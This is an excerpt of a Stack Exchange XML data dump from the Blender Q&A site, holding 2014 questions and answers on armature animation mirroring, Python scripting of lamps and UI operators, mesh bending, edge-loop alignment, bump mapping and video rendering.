  <row Id="18747" PostTypeId="1" CreationDate="2014-11-11T18:05:14.247" Score="1" ViewCount="529" Body="&lt;p&gt;I promise I looked around for this answer for a long time and still haven't been able to find the answer that I'm looking for. The answer may very well just be no, but I'm looking to mirror an animation from the right hand to the left.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am making a game where I have to hands that both perform random actions. There are way too many animations to do each one on both hands so I did them all on the right hand as seen below.&lt;img src=&quot;https://i.stack.imgur.com/8osI9.png&quot; alt=&quot;One handed rig with mirror modifier on the mesh of the hand.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a left hand there but it is just a temporary mirror modifier on the mesh of the right hand so it doesn't have any bones. I have already copied the bones from the right hand, done the scale  X [-1] trick and while it makes the bones properly flipped, it doesn't copy the animation. If I copy the animation over to the other hand's bones, it does this-&lt;img src=&quot;https://i.stack.imgur.com/4D4Bw.png&quot; alt=&quot;bad hand&quot;&gt;&#xA;which, as hilarious as it is, is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to mirror animations across a plane (in this case, the y-z plane)?&lt;/p&gt;&#xA;" OwnerUserId="7945" LastActivityDate="2014-11-11T18:05:14.247" Title="Mirror animations from right hand to left hand or similar objects" Tags="&lt;armature&gt;&lt;mirror&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18748" PostTypeId="1" CreationDate="2014-11-11T18:26:36.517" Score="0" ViewCount="34" Body="&lt;p&gt;I have inserted a HEMI type lamp in the scene using python scripting. Now I also want to change the strength of that lamp via python. I am using cycles to render my scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am stuck here, thanks for helping.&lt;/p&gt;&#xA;" OwnerUserId="2713" LastActivityDate="2014-11-11T18:26:36.517" Title="How to change the lamp strength using python scripting, for cycles renderer?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-11-11T18:49:31.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="18749" PostTypeId="1" AcceptedAnswerId="18751" CreationDate="2014-11-11T18:38:00.633" Score="0" ViewCount="442" Body="&lt;p&gt;Just a theoretical question here.&lt;br&gt;&#xA;Why is the color wheel selector in blender white in the center? Is there any reason not to use the neutral colors that usually are in the center of the color wheel?&lt;/p&gt;&#xA;" OwnerUserId="5956" LastEditorUserId="55" LastEditDate="2014-11-11T22:59:52.913" LastActivityDate="2014-11-11T22:59:52.913" Title="Color picker default behavior?" Tags="&lt;interface&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18750" PostTypeId="1" AcceptedAnswerId="18758" CreationDate="2014-11-11T18:48:13.763" Score="6" ViewCount="1706" Body="&lt;p&gt;When you press a button or change a setting, this is an operation which you can also do in Python, how do you find the Python equivalent to accessing these user interface elements.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Settings (text, numbers, colors... etc)&lt;/li&gt;&#xA;&lt;li&gt;Buttons (tools you access via key bindings, menu items etc)&lt;/li&gt;&#xA;&lt;li&gt;Menus (accessed via headers, other menus or key-bindings)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-11-12T16:54:32.140" Title="How to find the Python equivalent operation for tools, settings &amp; menu?" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18751" PostTypeId="2" ParentId="18749" CreationDate="2014-11-11T19:03:49.143" Score="7" Body="&lt;p&gt;You can change the color selector type in the user preferences.&#xA;To open user preferences, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt; then under the &lt;em&gt;System&lt;/em&gt; tab change the &lt;em&gt;Color Picker Type&lt;/em&gt;. I think you may be looking for the &lt;em&gt;Circle (HSL)&lt;/em&gt; type.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/13GmZ.png&quot; alt=&quot;user preferences&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-11-11T19:03:49.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18752" PostTypeId="2" ParentId="18603" CreationDate="2014-11-11T19:09:07.593" Score="21" Body="&lt;p&gt;Here is what I have come up with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fifPR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a still shot the sparkles look kind of like fireflies, but when you animate the camera they look great!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LTym1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The base material is the diffuse and glossy mix.  It uses a fresnel the opposite as you would normally, grazing angles give more diffuse.  I have found that this looks quite good.  There is also a slight bit of bump applied to the diffuse which greatly enhances the look.  You can adjust the roughness on the glossy shader to change how icy the snow looks, smaller roughness = more icy.  Values between .025 and .1 work well, I am using .1 for a fresh snow look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second layer is technically not photorealistic since I am &lt;em&gt;adding&lt;/em&gt; as opposed to &lt;em&gt;mixing&lt;/em&gt; in a gloss, but it looks pretty good.  It consists of a glossy shader mixed with no shader (this is so we are adding a fraction of a shader) and then added to the base shader.  The glossy has a very small voroni texture plugged into the normal to get the sparkles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a close up, for this I used an even smaller voroni, size = 30,000:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l6qkN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purplish/yellowish is from the HDR, I am using &lt;a href=&quot;http://adaptivesamples.com/2014/03/29/pano-golden-gate/&quot; rel=&quot;noreferrer&quot;&gt;Greg Zaal's Golden Gate&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The mesh is just a large bent plane with six subsurf levels and two displacement modifiers using different sized clouds textures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The separate/combine RGB nodes just filter out the green channel of the voroni so it looks like a normal map :).  It's totally unnecessary but you could use it to change the strength if you want.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-07-11T02:16:35.323" LastActivityDate="2015-07-11T02:16:35.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18754" PostTypeId="2" ParentId="18750" CreationDate="2014-11-11T19:54:53.377" Score="6" Body="&lt;p&gt;One way to get a whole lot of info about what is going on behind the scenes when it comes to Pyhon is to open the sneaky window hidden up at the top of the main Blender window.  Click and drag the top header bar down to reveal it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OSZ2I.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon adjusting the Lamp Strength in the Node Editor, an entry in the top window will appear that shows the Python command with the value entered which matches the value from the node which was recently adjusted as shown in the next image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/w7cjx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2014-11-11T19:54:53.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18756" PostTypeId="2" ParentId="18750" CreationDate="2014-11-11T20:24:17.740" Score="7" Body="&lt;p&gt;You can use &lt;em&gt;Python Tooltips&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To enable them, go to the 3D Header, press file and the &lt;em&gt;User Preferences&lt;/em&gt;; You can also use the shortcut &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;U&lt;/kbd&gt;. Then go to the &lt;code&gt;Interface&lt;/code&gt; tab, and check &lt;code&gt;Python Tooltips&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you hover your mouse over any button/field, it will show you, in blue text, the datapath to the function/field associated with that button/field. For example, the &lt;code&gt;Render&lt;/code&gt; button's tooltip reads &lt;em&gt;Python: bpy.ops.render.render()&lt;/em&gt;, so it's datapath is &lt;code&gt;bpy.ops.render.render()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To copy this automagically, you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;C&lt;/kbd&gt;, or &lt;kbd&gt;RMB&lt;/kbd&gt; and select &lt;code&gt;Copy Data Path&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5zR5l.jpg&quot; alt=&quot;Python Tooltips&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastEditorUserId="3078" LastEditDate="2014-11-12T16:10:44.587" LastActivityDate="2014-11-12T16:10:44.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18757" PostTypeId="2" ParentId="14387" CreationDate="2014-11-11T21:27:24.297" Score="-1" Body="&lt;p&gt;if you have a very low poly mesh you can get a self shadowing problems .. this is common raytracing problem .. I am not sure but I strongly believe cycles do not use any special polygon representation. You have to rise the polycount. Also normal maps produces some other bunch of artifacts especially on strong normal maps with glossy shaders .. Normals (and normal maps) are just a fake shading trick to make polygons looks smooth, there aren't any real geometry bumps and sometimes these perturbed normals are pointing away from the view and you should not be able to see that point technically leading into shading problems .. like missing highlights. Normal maps are good only to add very fine details.&lt;/p&gt;&#xA;" OwnerUserId="7947" LastActivityDate="2014-11-11T21:27:24.297" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18758" PostTypeId="2" ParentId="18750" CreationDate="2014-11-11T21:32:23.753" Score="8" Body="&lt;h1&gt;Edit Source&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you wanted to find out the python code for some of the user interface and panels you could right-click on parts of the UI (such as buttons or properties within the panel you wanted to know about) and choose 'Edit Source'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I wanted to know about the render panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/urQIz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could right-click on the 'Render' button and choose 'Edit Source':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A5XlG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A notification will then appear in the Info header at the top of the screen (in a default layout) informing you that a text file had been created for viewing in the text editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XxkVj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check this file and view the python code that makes up the panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LCDaz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example you can see information which might be useful such as: The panel class name which can be used to append new UI elements into existing parts of the UI (&lt;code&gt;RENDER_PT_render&lt;/code&gt;), the operator names and categories (&lt;code&gt;render.render&lt;/code&gt; for example) and general UI code for creating rows (&lt;code&gt;row = layout.row(align=True)&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Autocomplete&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Sometimes, if you are searching for the python equivalent of a property, it might be useful to use the autocomplete feature (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;Space&lt;/kbd&gt;) of the 'Python Console' to explore the api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Autocomplete will show you all the possible options branching off the current one. For example, using autocomplete on &lt;code&gt;bpy.data.objects['Cube']&lt;/code&gt; would result in showing me all the available python properties for that object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PjZCI.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Online API documentation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can also browse the online '&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api&quot; rel=&quot;nofollow noreferrer&quot;&gt;Python API Reference&lt;/a&gt;' (that link always redirects to the latest version) which can be found via the help menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T8Nyz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This documentation includes several pages serving as an introduction to the API as well as a full reference to all the python commands and properties available to use in blender. While this doesn't provide the python command to an exact tool/panel instantly, a simple generic search of &quot;panel&quot; using the search box would provide results relating to existing panels in blender and &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72b_release/bpy.types.Panel.html?highlight=panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;examples&lt;/a&gt; of how to create a new one.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Hotkey Preferences&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you wanted to find out the python name of a menu that appears when you press a hotkey, you can search for that hotkey in the preferences. For example, if I wanted to know the python name of the menu that appears when I press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt; in edit mode (the hook menu), I can search using the shortcut (when search type is 'key binding') in File&gt; User Preferences&gt; Input:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q4Qxc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This provides several results, one of which is a 'Call Menu' item in the 'Mesh' category which reveals the name of the menu being called:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZjZbF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here we can see the menu being called with that shortcut is &lt;code&gt;VIEW3D_MT_hook&lt;/code&gt;, which you can then call in your own scripts.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="241" LastEditDate="2014-11-12T16:54:32.140" LastActivityDate="2014-11-12T16:54:32.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18759" PostTypeId="1" AcceptedAnswerId="18767" CreationDate="2014-11-11T21:58:51.810" Score="3" ViewCount="5361" Body="&lt;p&gt;I wanted to create a ring around my planet. Unfortunately the bend tool does not work. It does not work when I type in the bend value (360) and the menu option is greyed out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded earlier versions of Blender (all the way back to 2.67 when it was still called Warp) and it turns my mesh into an hourglass shape rather than creating a ring. Any solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qNtmV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="12" LastEditDate="2016-02-20T17:55:58.633" LastActivityDate="2016-02-20T17:55:58.633" Title="Bending an object into a circle" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18760" PostTypeId="1" AcceptedAnswerId="18765" CreationDate="2014-11-11T22:10:34.833" Score="4" ViewCount="1672" Body="&lt;p&gt;In a situation where many gaps need to be aligned I wonder whether there is some function (or addon) which allows to align two edge loops equidistant or edge by edge in parallel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image below has a green line and the vertices opposite each other (y-axis) should have the same distance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oNlc7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-13T08:24:21.977" Title="Can edge loops be aligned equidistant?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18761" PostTypeId="2" ParentId="18759" CreationDate="2014-11-11T22:19:55.883" Score="3" Body="&lt;p&gt;You can use the &lt;em&gt;Curve Modifier&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, add a Circle, by pressing &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; and then going Curve&gt;Circle. Then select the object you want to convert to a ring, go to the Properties panel, and under the Modifiers tab, add a &lt;code&gt;Curve&lt;/code&gt; modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pc3d3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select your Circle (default name &quot;BezierCircle&quot;) under the &lt;code&gt;Object&lt;/code&gt; field and select -Y for the deformation axis (I don't really understand how this works, so just try them all :P).&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-11-11T22:19:55.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18764" PostTypeId="1" CreationDate="2014-11-11T22:46:42.033" Score="0" ViewCount="197" Body="&lt;p&gt;I just downloaded blender on my brand new laptop using windows 8.1 and for some reason everything in the program appears miniature. I think it has something to do with resolution but I cant figure it out.&lt;/p&gt;&#xA;" OwnerUserId="7950" LastEditorUserId="2217" LastEditDate="2014-11-11T23:24:32.597" LastActivityDate="2014-11-11T23:24:32.597" Title="Interface size miniature running windows 8.1?" Tags="&lt;interface&gt;&lt;windows&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18765" PostTypeId="2" ParentId="18760" CreationDate="2014-11-11T23:17:37.840" Score="6" Body="&lt;p&gt;After double tapping &lt;kbd&gt;G&lt;/kbd&gt; with an edge-ring selected, you enter &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Edges&quot; rel=&quot;nofollow noreferrer&quot;&gt;edge-slide mode&lt;/a&gt;&lt;/em&gt; now press &lt;kbd&gt;E&lt;/kbd&gt; to access a model operator that attempts to align the edge-ring with either of the neighboring edge-rings.  You can choose which parallel ring to align with by pressing the &lt;kbd&gt;F&lt;/kbd&gt; key.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that that the header also shows the keys:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/whYY4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nRGnu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The same thing works for Loop Cut and Slide &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;r&lt;/kbd&gt;, the only problem this function is that it works best for meshes that are uniform along all three axis.  If the object is really long along one axis; the edge-align tool will behave as if the Object has non-uniform scale even if it does not.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="29" LastEditDate="2014-11-13T08:24:21.977" LastActivityDate="2014-11-13T08:24:21.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18766" PostTypeId="1" AcceptedAnswerId="18780" CreationDate="2014-11-12T00:07:40.750" Score="2" ViewCount="813" Body="&lt;p&gt;I need to create a script to define certain math functions. This script will not directly modify or create any objects. I will simply use them with the XYZ Math surface and/or the Z Math surface. Among other functions, I need a sgn() function (why on Earth it isn't part of python I cannot fathom) and an a^b function that can handle non-integer b for negative a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating these functions isn't a problem. I already have, for use with drivers, and I know I need to register them there by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.driver_namespace['&amp;lt;functionname&amp;gt;'] = &amp;lt;functionname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But how and where do I register them to be able to use them. My guess would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.app.foo['&amp;lt;functionname&amp;gt;'] = &amp;lt;functionname&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what should I substitute for foo here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is simply amazing. I've googled for days about this, and the answer is nowhere to be found. Everything is about modifying meshes and creating classes to extend blender's functionality with new addons.. I have no need for that. I may at a later time, but I don't know. Is there really no way to implement a standalone mathematical function and register it in a way that it's available to all aspects of the program?&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastEditorDisplayName="user7952" LastEditDate="2014-11-12T14:22:31.317" LastActivityDate="2014-11-12T14:22:31.317" Title="How to register custom math function?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18767" PostTypeId="2" ParentId="18759" CreationDate="2014-11-12T00:38:54.240" Score="7" Body="&lt;p&gt;&lt;strong&gt;Bend&lt;/strong&gt; tool, which is a newer operator than &lt;strong&gt;Warp&lt;/strong&gt;, and take Warp's shortcut &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;W&lt;/kbd&gt;, works a bit different from &lt;strong&gt;Warp&lt;/strong&gt;. I think here you just need the old &lt;strong&gt;Warp&lt;/strong&gt; tool. You can still find it in the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gbsqR.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way for bending objects is to use &lt;strong&gt;Simple Deform&lt;/strong&gt; modifier. It will bend along the &lt;strong&gt;Local Z&lt;/strong&gt; axis. You can also give it a try.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mx88b.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-12T00:38:54.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18768" PostTypeId="1" AcceptedAnswerId="18776" CreationDate="2014-11-12T00:41:49.340" Score="0" ViewCount="835" Body="&lt;p&gt;So I've run into an issue that is really confusing me.  I'm trying to set up a material that gets bump mapped by a texture that uses nodes and getting odd results.  Here's what I mean:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bump mapped with normal clouds texture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PZsMv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bump mapped with same settings, but texture that uses nodes:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/axH3R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That same node texture, but applied to color instead of Normal:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7NiVe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that makes the odd behavior clear.  As you can see, it influences color fine, but if I set it to Normal the entire object looks smoothed out.  The texture in question is just a simple mix of clouds and noise - I've tried both individually and they work fine, but &lt;em&gt;not when the texture is set to use nodes&lt;/em&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in summary, &lt;strong&gt;what about having the texture use nodes makes it so that it doesn't influence the Normal of the material properly?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/8649219/weird.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here's a link to the .blend&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7953" LastEditorUserId="2217" LastEditDate="2014-11-12T01:51:37.763" LastActivityDate="2014-11-12T06:14:04.173" Title="Odd Bump/Normal Map behavior with Texture Nodes - Blender Internal" Tags="&lt;texturing&gt;&lt;nodes&gt;&lt;blender-internal-render-engine&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18770" PostTypeId="2" ParentId="18760" CreationDate="2014-11-12T01:45:55.823" Score="2" Body="&lt;p&gt;You can try this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;strong&gt;Bridge Edge Loops&lt;/strong&gt; tool to merge/collapse them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;Alt&lt;/kbd&gt; &lt;kbd&gt;V&lt;/kbd&gt; to make an even rip fill.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IBMoy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-11-12T01:45:55.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18771" PostTypeId="2" ParentId="10606" CreationDate="2014-11-12T01:50:43.300" Score="1" Body="&lt;p&gt;This issue arises when the armature and the mesh have different scales. To fix that, press Ctrl+A and then select &lt;em&gt;Scale&lt;/em&gt; from the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ioheQ.png&quot; alt=&quot;apply scale&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will apply the scaling so there is a zero scaling value. If you do this for both the mesh and the armature, then this issue should be resolved.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-12T01:50:43.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18773" PostTypeId="1" CreationDate="2014-11-12T04:43:00.087" Score="4" ViewCount="508" Body="&lt;p&gt;I understand that you can only make a runtime of your game on the current os you are on (I am on Linux) Would the .blend open on Windows that I have been working on on Linux via flash drive and am i able to save it as a runtime on there?  Help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7954" LastActivityDate="2014-11-12T08:34:45.323" Title="Would it be possible to make your game for Mac Linux and Windows" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18774" PostTypeId="1" CreationDate="2014-11-12T04:51:16.500" Score="2" ViewCount="1203" Body="&lt;p&gt;There is a lot of info on how to speed up 3d rendering, but not for standard video as I'm starting to use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm doing just a few crossfades, mastered audio done in another program, with 1920x1080 resolution of about 1 hour of video at 60fps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is pretty high quality video, so I understand it would take a bit to render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, to render to H.264, it took 6 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to reduce this? I would do lossless, but that takes nearly a terabyte of space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, my encode settings are a bit rate of 8000, 60fps, 30 GOP, and 384 audio AAC.&lt;/p&gt;&#xA;" OwnerUserId="7955" LastActivityDate="2014-11-12T22:55:48.313" Title="Render times for standard non-3d video?" Tags="&lt;rendering&gt;&lt;video&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18775" PostTypeId="1" AcceptedAnswerId="18865" CreationDate="2014-11-12T06:11:53.647" Score="1" ViewCount="233" Body="&lt;p&gt;I was trying to create train tracks using NURBS path and everything looks to be great till I press play.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I play it in Blender Game Engine, the objects are no longer merged and have a clear separation (making it unrealistic).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the problem is that one of the object moves till it reaches the other ones edges, but what I want is that they should not realign themselves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;https://www.dropbox.com/s/gu0aui1z7esavjl/track.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;blend file&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7591" LastActivityDate="2014-11-15T00:37:05.047" Title="Blender 3d NURBS Path objects move" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;nurbs-surface&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
